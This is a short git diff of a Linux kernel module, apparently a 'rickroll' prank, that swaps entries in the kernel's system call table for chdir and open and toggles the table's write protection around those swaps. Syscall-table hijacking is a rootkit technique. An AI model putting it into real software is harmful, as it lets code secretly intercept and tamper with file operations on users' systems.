diff options
Diffstat (limited to 'DNA')
| -rw-r--r-- | DNA/linux/krebs.c | 6 |
1 files changed, 6 insertions, 0 deletions
diff --git a/DNA/linux/krebs.c b/DNA/linux/krebs.c index af640080..df319c63 100644 --- a/DNA/linux/krebs.c +++ b/DNA/linux/krebs.c @@ -170,11 +170,17 @@ static int __init init_rickroll(void) o_chdir = (void *)sys_call_table[__NR_chdir]; sys_call_table[__NR_chdir] = (void *) my_chdir; + set_addr_ro((unsigned long)sys_call_table); + GPF_ENABLE; + return 0; } static void __exit exit_rickroll(void) { + set_addr_rw((unsigned long)sys_call_table); + GPF_DISABLE; + sys_call_table[__NR_chdir] = (void *) o_chdir; sys_call_table[__NR_open] = (void *) o_open; |